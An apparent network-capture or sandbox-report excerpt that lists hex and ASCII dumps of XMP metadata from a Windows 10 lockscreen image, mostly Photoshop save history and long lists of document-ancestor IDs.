2022-04-08 08:02:42 UTC1109INData Raw: 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 31 36 54 30 32 3a 30 34 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 30 54 31 33 3a 33 39 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64
Data Ascii: 0x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved&#xA;2018-03-16T02:04:43-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1920x1080_Landscape.psd saved&#xA;2018-03-20T13:39:27-07:00&#x9;File Lockscreen_1920x1080_Landscape.psd
2022-04-08 08:02:42 UTC1164INData Raw: 37 35 46 43 45 45 35 42 33 42 33 45 46 43 31 43 39 39 45 37 43 32 32 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 43 41 39 41 32 34 42 43 36 34 46 43 43 38 39 45 31 34 44 37 41 41 32 39 31 31 32 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 44 43 39 45 44 37 46 38 33 45 36 33 37 46 46 42 32 32 30 34 43 38 46 34 33 42 43 30 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 45 43 43 41 31 43 38 36 43 37 35 35 34 32 45 42 33 36 41 46 46 36 44 44 37 43 31 38 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 46 36 32 41 42 44 43 43 44 43 45 33 35 43 44 42 44 36 41 33 38 44 45 34 34 32 37 37 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 46 42 43 31 37 34 42 34 42 44
Data Ascii: 75FCEE5B3B3EFC1C99E7C2259</rdf:li> <rdf:li>00CA9A24BC64FCC89E14D7AA29112E7F</rdf:li> <rdf:li>00DC9ED7F83E637FFB2204C8F43BC058</rdf:li> <rdf:li>00ECCA1C86C75542EB36AFF6DD7C181B</rdf:li> <rdf:li>00F62ABDCCDCE35CDBD6A38DE44277A2</rdf:li> <rdf:li>00FBC174B4BD
2022-04-08 08:02:42 UTC1219INData Raw: 20 3c 72 64 66 3a 6c 69 3e 30 44 45 41 38 31 37 43 37 33 41 36 35 31 41 38 32 46 38 32 45 39 38 46 39 35 39 42 34 41 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 46 43 30 46 41 46 35 35 33 33 43 39 36 33 33 34 37 35 38 33 45 44 32 37 38 38 34 44 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 31 36 39 33 30 41 46 38 45 36 41 41 33 46 43 30 30 42 30 38 43 44 34 36 37 41 31 30 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 32 37 36 41 33 39 34 43 44 45 42 37 46 45 38 37 33 34 34 30 41 42 32 30 39 32 31 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 45 32 41 38 30 33 32 43 37 45 46 36 35 32 37 34 41 45 42 30 30 31 42 32 31 33 34 45 46 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66
Data Ascii: <rdf:li>0DEA817C73A651A82F82E98F959B4A20</rdf:li> <rdf:li>0DFC0FAF5533C963347583ED27884DDD</rdf:li> <rdf:li>0E16930AF8E6AA3FC00B08CD467A1034</rdf:li> <rdf:li>0E276A394CDEB7FE873440AB209215CF</rdf:li> <rdf:li>0E2A8032C7EF65274AEB001B2134EF32</rdf:li> <rdf
2022-04-08 08:02:42 UTC1251INData Raw: 46 35 32 43 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 41 43 34 42 45 45 43 39 38 32 37 30 32 42 33 31 35 31 30 32 30 35 43 36 43 41 42 38 45 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 41 43 41 43 39 39 31 35 39 37 34 37 33 44 36 35 30 39 37 44 44 31 44 42 36 31 36 38 45 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 41 44 32 32 30 43 45 44 43 46 42 32 37 37 31 33 37 42 30 33 41 31 39 33 44 46 46 31 43 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 41 44 38 38 44 31 46 31 41 31 45 31 34 43 44 41 35 43 39 34 45 45 35 39 42 32 31 34 44 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 41 44 41 31 37 31 44 45 32 38 46 32 32 37 41 31 43 31 32 39 37 34 44 37 35 35 46 34 43
Data Ascii: F52C9D1</rdf:li> <rdf:li>1AC4BEEC982702B31510205C6CAB8EEE</rdf:li> <rdf:li>1ACAC991597473D65097DD1DB6168EEF</rdf:li> <rdf:li>1AD220CEDCFB277137B03A193DFF1CF8</rdf:li> <rdf:li>1AD88D1F1A1E14CDA5C94EE59B214D2B</rdf:li> <rdf:li>1ADA171DE28F227A1C12974D755F4C
2022-04-08 08:02:42 UTC1315INData Raw: 33 35 36 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 39 38 37 46 43 33 36 34 46 37 31 37 31 39 32 41 41 36 42 33 35 36 37 38 30 42 34 37 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 39 46 36 39 34 46 31 36 34 41 33 42 32 36 30 35 34 31 42 31 43 30 32 43 45 33 34 42 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 42 38 44 37 34 35 43 41 43 33 43 33 42 38 43 35 41 43 44 38 31 44 38 35 43 32 35 46 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 31 46 33 30 46 35 46 30 31 45 42 38 39 31 32 46 37 37 34 39 36 45 30 36 44 46 41 37 36 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 30 32 45 37 41 34 45 35 43 44 34 32 36 36 36 36 39 33 36 36 46 43 44 41 31 30 37 46 41 33
Data Ascii: 3561B</rdf:li> <rdf:li>21987FC364F717192AA6B356780B47E4</rdf:li> <rdf:li>219F694F164A3B260541B1C02CE34BAB</rdf:li> <rdf:li>21B8D745CAC3C3B8C5ACD81D85C25F20</rdf:li> <rdf:li>21F30F5F01EB8912F77496E06DFA761F</rdf:li> <rdf:li>2202E7A4E5CD4266669366FCDA107FA3
2022-04-08 08:02:42 UTC1363INData Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 34 31 43 32 39 31 42 38 37 41 35 36 34 39 32 32 31 39 32 35 34 38 35 41 30 41 32 36 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 35 35 30 42 34 33 38 43 44 35 38 36 45 38 46 35 33 36 41 44 39 42 36 31 44 39 32 46 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 35 38 42 39 43 37 33 37 43 42 30 46 37 34 44 41 43 33 30 44 32 41 38 43 31 37 32 44 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 35 43 39 32 31 36 39 41 30 39 34 30 31 45 31 45 34 43 30 31 39 46 31 45 32 45 32 42 45 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 45 37 33 37 30 35 44 31 36 32 45 45 44 46 43 41 44 38 44 42 46 35 34 46 34 42 32 42 32 34 42 3c 2f 72 64 66
Data Ascii: </rdf:li> <rdf:li>2E41C291B87A5649221925485A0A2643</rdf:li> <rdf:li>2E550B438CD586E8F536AD9B61D92FB0</rdf:li> <rdf:li>2E58B9C737CB0F74DAC30D2A8C172D3D</rdf:li> <rdf:li>2E5C92169A09401E1E4C019F1E2E2BE0</rdf:li> <rdf:li>2E73705D162EEDFCAD8DBF54F4B2B24B</rdf
2022-04-08 08:02:42 UTC1379INData Raw: 33 31 41 32 38 37 46 43 38 39 36 45 32 32 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 42 46 46 38 32 30 36 41 44 39 44 35 41 31 32 31 35 45 30 37 37 46 39 45 43 35 44 46 35 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 30 35 35 44 36 43 37 43 46 36 36 35 30 38 32 38 45 44 45 32 43 42 33 30 37 36 31 41 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 30 44 32 37 33 34 43 33 33 38 34 42 37 35 45 32 39 43 34 34 46 38 33 41 43 35 42 43 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 30 44 42 36 33 38 43 45 35 38 31 42 35 46 46 35 44 32 38 33 32 32 32 38 41 38 36 41 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 43 30 46 31 36 38 36 37 30 45 38 32 36 39 35 36 36 33 43 46
Data Ascii: 31A287FC896E2206</rdf:li> <rdf:li>3BFF8206AD9D5A1215E077F9EC5DF596</rdf:li> <rdf:li>3C055D6C7CF6650828EDE2CB30761AB7</rdf:li> <rdf:li>3C0D2734C3384B75E29C44F83AC5BC73</rdf:li> <rdf:li>3C0DB638CE581B5FF5D2832228A86AB8</rdf:li> <rdf:li>3C0F168670E82695663CF
2022-04-08 08:02:42 UTC1418INData Raw: 35 44 33 39 43 45 30 43 34 30 39 35 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 46 31 33 39 37 43 33 32 43 39 30 35 38 41 36 30 32 37 39 34 32 42 32 33 30 36 44 34 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 30 36 44 38 31 31 30 44 30 41 31 45 32 46 45 46 41 45 34 35 45 32 33 42 45 35 35 45 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 30 43 30 36 30 33 44 32 32 46 32 42 43 35 30 43 37 39 45 30 36 35 35 43 36 43 46 32 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 30 46 32 38 38 46 44 33 33 31 37 37 44 46 34 35 41 45 31 46 35 32 44 35 30 30 32 31 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 32 31 33 43 41 30 45 43 44 35 34 38 34 32 31 36 42 30 37 41 35 38
Data Ascii: 5D39CE0C40954C</rdf:li> <rdf:li>41F1397C32C9058A6027942B2306D452</rdf:li> <rdf:li>4206D8110D0A1E2FEFAE45E23BE55EA3</rdf:li> <rdf:li>420C0603D22F2BC50C79E0655C6CF297</rdf:li> <rdf:li>420F288FD33177DF45AE1F52D5002149</rdf:li> <rdf:li>4213CA0ECD5484216B07A58
2022-04-08 08:02:42 UTC1500INData Raw: 41 46 42 34 39 41 37 31 38 32 33 31 41 46 44 32 41 39 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 32 38 31 31 45 43 30 35 43 34 42 45 31 39 30 44 36 45 43 37 38 33 44 39 32 31 45 36 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 33 38 32 33 31 32 34 41 41 46 30 41 31 32 42 37 38 33 42 42 43 36 38 32 31 45 33 30 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 34 31 37 39 42 31 33 35 44 35 39 30 30 37 30 42 43 37 43 46 41 42 44 33 34 34 31 43 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 35 33 35 41 38 39 44 38 43 46 33 45 42 32 38 38 45 37 36 38 38 33 38 41 44 37 32 38 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 38 35 39 33 33 32 41 42 41 31 39 46 37 44 41 36
Data Ascii: AFB49A718231AFD2A97B</rdf:li> <rdf:li>482811EC05C4BE190D6EC783D921E67E</rdf:li> <rdf:li>483823124AAF0A12B783BBC6821E3039</rdf:li> <rdf:li>484179B135D590070BC7CFABD3441C1A</rdf:li> <rdf:li>48535A89D8CF3EB288E768838AD728F6</rdf:li> <rdf:li>4859332ABA19F7DA6
2022-04-08 08:02:42 UTC1516INData Raw: 3a 6c 69 3e 35 35 37 37 31 33 39 37 36 39 30 35 30 37 30 38 46 37 30 36 37 30 34 35 46 31 34 39 46 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 37 42 31 43 46 45 32 32 44 35 36 37 45 41 30 34 41 36 39 45 34 39 41 34 30 36 43 38 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 39 35 46 44 36 43 44 33 42 32 44 36 34 38 36 32 44 46 31 44 46 31 31 42 45 38 46 33 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 41 45 33 38 39 46 41 44 36 41 42 30 32 32 30 30 44 33 39 33 34 33 46 36 38 35 38 33 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 42 32 39 33 31 31 37 34 37 43 36 43 46 34 30 41 33 36 38 45 33 36 37 46 35 35 44 30 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35
Data Ascii: :li>5577139769050708F7067045F149F808</rdf:li> <rdf:li>557B1CFE22D567EA04A69E49A406C872</rdf:li> <rdf:li>5595FD6CD3B2D64862DF1DF11BE8F3B3</rdf:li> <rdf:li>55AE389FAD6AB02200D39343F6858346</rdf:li> <rdf:li>55B29311747C6CF40A368E367F55D0F1</rdf:li> <rdf:li>5
2022-04-08 08:02:42 UTC1532INData Raw: 34 31 42 41 39 36 33 35 32 32 32 46 44 33 31 30 42 31 31 33 37 44 37 37 38 46 38 45 37 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 32 30 31 30 38 46 33 32 38 32 45 44 33 45 43 37 37 38 31 41 31 30 44 35 37 32 38 30 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 32 31 32 41 33 41 44 41 46 36 45 42 36 33 43 36 37 30 43 37 31 37 35 31 39 46 32 42 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 33 42 35 37 45 43 39 37 33 46 45 30 34 46 38 33 46 38 34 30 30 33 37 30 36 38 38 33 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 33 46 39 45 41 36 43 44 37 38 44 36 45 43 46 31 46 44 39 43 41 34 44 42 35 32 34 42 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 34 34 46 37 37
Data Ascii: 41BA9635222FD310B1137D778F8E742</rdf:li> <rdf:li>6420108F3282ED3EC7781A10D572804B</rdf:li> <rdf:li>64212A3ADAF6EB63C670C717519F2B7E</rdf:li> <rdf:li>643B57EC973FE04F83F8400370688373</rdf:li> <rdf:li>643F9EA6CD78D6ECF1FD9CA4DB524B30</rdf:li> <rdf:li>644F77
2022-04-08 08:02:42 UTC1539INData Raw: 35 43 42 35 38 37 35 33 42 45 31 43 45 37 41 34 38 33 41 38 41 35 33 30 46 44 42 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 35 31 41 46 37 32 32 42 43 44 37 45 39 43 38 38 36 34 43 34 46 33 41 32 30 42 34 43 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 35 42 34 38 35 42 30 32 42 31 42 45 43 42 34 41 31 44 41 41 35 34 39 38 44 45 41 32 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 36 39 43 32 39 34 45 36 42 46 34 42 46 42 36 41 42 45 43 37 37 46 43 30 42 36 35 46 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 37 42 34 44 43 36 31 42 37 41 43 45 38 30 42 43 31 37 35 30 42 32 36 30 45 34 36 30 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 41 38 36 31 44 39 30
Data Ascii: 5CB58753BE1CE7A483A8A530FDBCE</rdf:li> <rdf:li>6A51AF722BCD7E9C8864C4F3A20B4C82</rdf:li> <rdf:li>6A5B485B02B1BECB4A1DAA5498DEA28E</rdf:li> <rdf:li>6A69C294E6BF4BFB6ABEC77FC0B65F19</rdf:li> <rdf:li>6A7B4DC61B7ACE80BC1750B260E46075</rdf:li> <rdf:li>6A861D90
2022-04-08 08:02:42 UTC1555INData Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 35 32 42 43 33 41 31 37 42 34 30 36 42 31 31 44 39 42 31 36 38 35 43 36 42 46 45 44 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 35 34 43 31 30 45 32 32 43 46 33 35 45 41 34 44 34 43 46 46 30 38 37 39 38 42 38 33 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 35 42 41 33 38 34 36 46 44 30 32 45 33 31 38 30 39 43 44 39 31 30 42 37 36 32 42 36 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 36 41 37 35 45 39 43 43 37 34 35 45 33 33 34 33 44 33 43 33 38 39 37 37 38 44 39 34 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 37 45 32 44 36 45 35 30 43 31 43 39 41 34 33 34 34 38 30 46 39 41 41 41 38 44 33 42 35 41 3c 2f 72 64 66 3a 6c 69 3e 20
Data Ascii: :li> <rdf:li>7852BC3A17B406B11D9B1685C6BFED2D</rdf:li> <rdf:li>7854C10E22CF35EA4D4CFF08798B8322</rdf:li> <rdf:li>785BA3846FD02E31809CD910B762B625</rdf:li> <rdf:li>786A75E9CC745E3343D3C389778D9422</rdf:li> <rdf:li>787E2D6E50C1C9A434480F9AAA8D3B5A</rdf:li>
2022-04-08 08:02:42 UTC1571INData Raw: 43 30 37 32 38 46 44 46 36 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 32 37 45 37 36 32 31 44 39 43 32 41 31 34 39 31 31 37 35 46 34 37 31 42 45 46 41 44 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 32 38 36 41 31 37 30 32 41 31 30 46 44 30 42 45 46 30 38 41 39 44 43 33 33 32 42 38 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 32 42 45 33 46 39 32 43 30 43 42 38 34 44 45 39 30 46 42 37 35 34 33 42 41 41 43 32 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 32 44 45 41 30 44 35 44 35 46 36 39 46 37 41 43 36 33 33 45 35 39 32 45 42 36 35 39 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 33 44 36 42 46 38 34 44 35 39 37 35 45 45 35 36 33 41 33 43 32 43 31 41
Data Ascii: C0728FDF6B3</rdf:li> <rdf:li>8627E7621D9C2A1491175F471BEFAD11</rdf:li> <rdf:li>86286A1702A10FD0BEF08A9DC332B827</rdf:li> <rdf:li>862BE3F92C0CB84DE90FB7543BAAC224</rdf:li> <rdf:li>862DEA0D5D5F69F7AC633E592EB659AF</rdf:li> <rdf:li>863D6BF84D5975EE563A3C2C1A
2022-04-08 08:02:42 UTC1579INData Raw: 31 44 34 45 44 38 36 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 42 36 46 44 35 39 30 30 42 35 42 42 42 41 32 33 36 43 41 36 31 42 39 38 33 35 31 31 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 43 35 44 45 36 44 36 39 34 34 36 32 39 32 35 35 41 43 46 44 35 44 45 34 44 35 36 32 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 43 43 34 45 41 41 42 35 37 38 38 46 43 39 42 37 35 31 32 33 31 42 36 41 43 37 45 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 43 44 34 39 31 35 44 37 30 32 43 41 32 39 30 41 39 38 43 31 34 30 33 33 41 37 45 37 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 45 32 42 38 32 32 39 32 36 33 44 38 39 35 36 30 43 32 38 41 31 43 30 46 33 33
Data Ascii: 1D4ED8644</rdf:li> <rdf:li>8BB6FD5900B5BBBA236CA61B9835113A</rdf:li> <rdf:li>8BC5DE6D6944629255ACFD5DE4D56273</rdf:li> <rdf:li>8BCC4EAAB5788FC9B751231B6AC7E785</rdf:li> <rdf:li>8BCD4915D702CA290A98C14033A7E7AF</rdf:li> <rdf:li>8BE2B8229263D89560C28A1C0F33
2022-04-08 08:02:42 UTC1595INData Raw: 46 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 34 37 31 38 46 35 46 42 41 42 41 45 30 45 36 39 38 44 34 46 37 43 31 34 41 32 45 39 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 37 33 43 44 35 45 45 43 33 42 43 42 38 43 39 32 45 44 33 46 32 34 39 37 38 39 37 30 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 38 31 33 33 37 35 43 39 41 30 45 34 35 43 34 44 32 36 36 37 41 33 38 32 39 42 31 45 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 38 35 39 32 38 35 37 30 31 32 44 41 46 44 43 41 39 37 43 32 45 46 34 46 41 33 39 46 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 38 35 46 42 36 30 44 36 42 38 34 30 35 37 30 46 39 31 37 35 41 41 33 33 38 39 37 46 37 36 3c
Data Ascii: FD41</rdf:li> <rdf:li>9A4718F5FBABAE0E698D4F7C14A2E93E</rdf:li> <rdf:li>9A73CD5EEC3BCB8C92ED3F2497897034</rdf:li> <rdf:li>9A813375C9A0E45C4D2667A3829B1E11</rdf:li> <rdf:li>9A8592857012DAFDCA97C2EF4FA39F6F</rdf:li> <rdf:li>9A85FB60D6B840570F9175AA33897F76<
2022-04-08 08:02:42 UTC1611INData Raw: 37 42 36 35 46 31 45 31 39 45 38 42 33 34 42 41 41 41 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 41 31 32 35 35 46 46 33 38 36 36 37 39 35 42 43 42 32 37 30 36 31 30 32 43 37 42 33 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 41 37 45 45 46 41 35 35 37 32 46 43 45 42 35 44 30 44 35 46 41 34 37 38 43 38 43 41 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 42 32 45 31 35 37 43 32 45 42 42 33 45 34 36 46 35 36 42 31 35 45 31 35 44 36 38 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 42 34 42 36 36 44 43 42 39 45 38 32 33 43 31 41 31 31 42 35 42 35 32 31 44 39 30 35 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 43 34 46 38 46 42 38 34 45 42 37 31 45 43 44
Data Ascii: 7B65F1E19E8B34BAAAE2</rdf:li> <rdf:li>A7A1255FF3866795BCB2706102C7B3C8</rdf:li> <rdf:li>A7A7EEFA5572FCEB5D0D5FA478C8CACF</rdf:li> <rdf:li>A7B2E157C2EBB3E46F56B15E15D68F3B</rdf:li> <rdf:li>A7B4B66DCB9E823C1A11B5B521D90514</rdf:li> <rdf:li>A7C4F8FB84EB71ECD
2022-04-08 08:02:42 UTC1619INData Raw: 37 43 42 46 33 36 37 30 31 43 32 46 33 32 35 35 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 37 31 30 45 39 46 39 43 43 41 43 34 34 31 34 43 44 30 41 43 41 46 46 46 42 46 42 44 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 38 39 37 32 46 41 46 46 42 44 36 32 38 39 37 44 35 31 42 36 42 35 42 39 34 45 31 37 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 38 45 44 33 37 32 43 44 33 46 37 43 44 36 37 37 36 46 31 31 36 38 32 43 43 33 45 38 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 38 46 44 30 42 31 37 43 34 32 46 42 44 31 35 42 36 31 37 41 42 36 44 44 43 46 41 42 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 39 41 35 36 42 41 44 44 38 44 39 34 33 33 31 35 37
Data Ascii: 7CBF36701C2F325594</rdf:li> <rdf:li>AE710E9F9CCAC4414CD0ACAFFFBFBD16</rdf:li> <rdf:li>AE8972FAFFBD62897D51B6B5B94E1758</rdf:li> <rdf:li>AE8ED372CD3F7CD6776F11682CC3E817</rdf:li> <rdf:li>AE8FD0B17C42FBD15B617AB6DDCFABA7</rdf:li> <rdf:li>AE9A56BADD8D9433157
2022-04-08 08:02:42 UTC1627INData Raw: 35 34 31 42 46 30 33 46 31 39 42 41 35 31 32 44 43 38 31 35 31 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 45 33 39 37 35 37 39 42 38 39 32 31 41 42 30 41 39 36 31 46 31 43 36 37 35 46 30 30 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 46 35 42 36 38 46 38 36 43 41 46 32 46 37 39 32 42 37 38 46 44 35 32 33 30 31 43 45 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 46 38 42 37 44 37 32 42 34 32 45 37 32 31 34 38 38 46 45 36 41 43 43 42 44 36 44 39 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 46 44 45 42 43 39 44 36 31 46 37 38 38 44 45 37 34 35 36 33 38 36 32 42 41 33 31 39 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 30 31 31 32 35 35 30 35 34 46 46
Data Ascii: 541BF03F19BA512DC8151CD9</rdf:li> <rdf:li>B4E397579B8921AB0A961F1C675F00A6</rdf:li> <rdf:li>B4F5B68F86CAF2F792B78FD52301CE61</rdf:li> <rdf:li>B4F8B7D72B42E721488FE6ACCBD6D945</rdf:li> <rdf:li>B4FDEBC9D61F788DE74563862BA31924</rdf:li> <rdf:li>B5011255054FF
